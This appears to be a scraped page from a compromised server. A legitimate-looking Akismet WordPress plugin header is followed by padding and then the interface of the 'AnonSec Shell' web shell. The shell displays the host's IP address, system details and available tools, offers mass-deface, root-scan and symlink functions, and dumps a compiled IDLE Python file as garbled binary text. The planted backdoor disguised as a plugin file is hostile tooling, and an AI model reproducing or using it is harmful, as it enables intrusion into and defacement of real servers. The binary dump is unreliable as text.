#/** * @package Akismet */ /* Plugin Name: Akismet Anti-spam: Spam Protection Plugin URI: https://akismet.com/ Description: Used by millions, Akismet is quite possibly the best way in the world to protect your blog from spam. Akismet Anti-spam keeps your site protected even while you sleep. To get started: activate the Akismet plugin and then go to your Akismet Settings page to set up your API key. Version: 5.4 Requires at least: 5.8 Requires PHP: 7.2 Author: Automattic - Anti-spam Team Author URI: https://automattic.com/wordpress-plugins/ License: GPLv2 or later Text Domain: akismet */ /* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. Copyright 2005-2025 Automattic, Inc. */ // Make sure we don't expose any info if called directly . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 62.109.13.187  /  Your IP : 216.73.216.11   [ Reverse IP ]
Web Server : Apache/2.4.6 (CentOS) mpm-itk/2.4.7-04 OpenSSL/1.0.2k-fips PHP/8.2.28
System : Linux robothost.ru 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : mosrembit ( 6064)
PHP Version : 8.2.28
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib64/python2.7/idlelib/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib64/python2.7/idlelib/CodeContext.pyo
�
ۜSec@s�dZddlZddlmZmZmZmZmZddlZddl	m
Zddlm
Z
edddd	d
ddd
dddg�ZdZdZejd�d�Zddd��YZdS(sICodeContext - Extension to display the block context above the edit window

Once code has scrolled off the top of a window, it can be difficult to
determine which block you are in.  This extension implements a pane at the top
of each IDLE edit window which provides block structure hints.  These hints are
the lines which contain the block opening keywords, e.g. 'if', for the
enclosing block.  The number of hint lines is determined by the numlines
variable in the CodeContext section of config-extensions.def. Lines which do
not open blocks are not shown in the context hints pane.

i����N(tTOPtLEFTtXtWtSUNKEN(tmaxint(tidleConftclasstdefteliftelsetexcepttfinallytfortifttrytwhiletwithidi�s^(\s*)(\w*)cCs|j|�j�S(N(tmatchtgroups(tstc((s+/usr/lib64/python2.7/idlelib/CodeContext.pyt<lambda>stCodeContextcBs�eZddgfgZejddddddd	�Zejddd
dddd�Zejddd
dddd�Zd�Zdd�Z
d�Zddd�Zd�Z
d�Zd�ZRS(toptionss!Code Conte_xts<<toggle-code-context>>t
extensionsRtnumlinesttypetinttdefaultitbgcolortstrt	LightGraytfgcolortBlackcCs�||_|j|_|jd|_d|_dddtfg|_d|_tj	dddd	d
dt�}|r�|j
�|jjdt�n|jj
t|j�|jj
t|j�dS(
Ntfontii����tiRRtvisibleRtboolRs<<toggle-code-context>>(teditwinttextttextfonttNonetlabeltFalsetinfot
topvisibleRt	GetOptionttoggle_code_context_eventtsetvartTruetaftertUPDATEINTERVALttimer_eventtFONTUPDATEINTERVALtfont_timer_event(tselfR'R%((s+/usr/lib64/python2.7/idlelib/CodeContext.pyt__init__"s			
cCs�|jsC|jj|jjf}d}xM|D]E}|tt|j�d��7}|tt|jd���7}q.Wd}x-|D]%}|tt|jd���7}q�Wtj	|jj
dd|jddtdt
d	|jd
|jd|jddd|d|d
t�
|_|jjdtdtdtd|jj�n|jj�d|_tjdddt|jdk	��tj�dS(NitpadxtborderR(s
itanchortjustifyR#tbgtfgtwidthtrelieftsidetfilltexpandtbeforeRRR%(R+R'R(t
text_frameRRt	pack_infotcgettTkintertLabelttopt
context_depthRRR)RR!RtpackRRR,tdestroyR*Rt	SetOptiontSaveUserCfgFiles(R8teventtwidgetsR:twidgetR;((s+/usr/lib64/python2.7/idlelib/CodeContext.pyR07s0	
 #
#	
	cCs�|jjd|d|�}t|�\}}|tko>|}t|�t|�kso|t|�dkrxt}nt|�}|||fS(s�Get the line indent value, text, and any block start keyword

        If the line does not start a block, the keyword value is False.
        The indentation of empty lines (or comment lines) is INFINITY.

        s%d.0s%d.endt#(R(tgettgetspacesfirstwordtBLOCKOPENERStlentINFINITY(R8tlinenumR(tspacest	firstwordtopenertindent((s+/usr/lib64/python2.7/idlelib/CodeContext.pyt
get_line_info[s.	iic
Cs�g}t}x�t||dd�D]�}|j|�\}}}	||kr#|}|	dkrl|d7}n|	r�||kr�||kr�|j||||	f�n||kr�Pq�q#q#W|j�||fS(s�Get context lines, starting at new_topvisible and working backwards.

        Stop when stopline or stopindent is reached. Return a tuple of context
        data and the indent level at the top of the region inspected.

        ii����R
R	(R
R	(RYtxrangeR_tappendtreverse(
R8tnew_topvisibletstoplinet
stopindenttlinest
lastindentRZR^R(R]((s+/usr/lib64/python2.7/idlelib/CodeContext.pytget_contextks

cCs�t|jjd�jd�d�}|j|kr8dS|j|kr�|j||j�\}}x�|jdd|kr�|jd=qeWn�|j|kr|jddd}x6|jdd|kr�|jdd}|jd=q�W|j||jddd|�\}}n|jj|�||_dgtd|j	t
|j��}|g|j|j	D]}|d^qk7}d	j|�|jd
<dS(sKUpdate context information and lines visible in the context pane.

        s@0,0t.iNi����iR$is
R((
RR(tindextsplitR.RhR-textendtmaxRLRXtjoinR+(R8RcRfRgRetcontext_stringstx((s+/usr/lib64/python2.7/idlelib/CodeContext.pytupdate_code_context�s*%			&,cCs0|jr|j�n|jjt|j�dS(N(R+RqR(R3R4R5(R8((s+/usr/lib64/python2.7/idlelib/CodeContext.pyR5�s	
cCs[|jd}|jrA||jkrA||_|j|jd<n|jjt|j�dS(NR#(R(R+R)R3R6R7(R8tnewtextfont((s+/usr/lib64/python2.7/idlelib/CodeContext.pyR7�s

	(s!Code Conte_xts<<toggle-code-context>>N(t__name__t
__module__tmenudefsRR/RLRR!R9R*R0R_RhRqR5R7(((s+/usr/lib64/python2.7/idlelib/CodeContext.pyRs	$		 	((t__doc__RItTkconstantsRRRRRtretsysRRYtidlelib.configHandlerRtsetRWR4R6tcompileRVR(((s+/usr/lib64/python2.7/idlelib/CodeContext.pyt<module>s(

Anon7 - 2022
AnonSec Team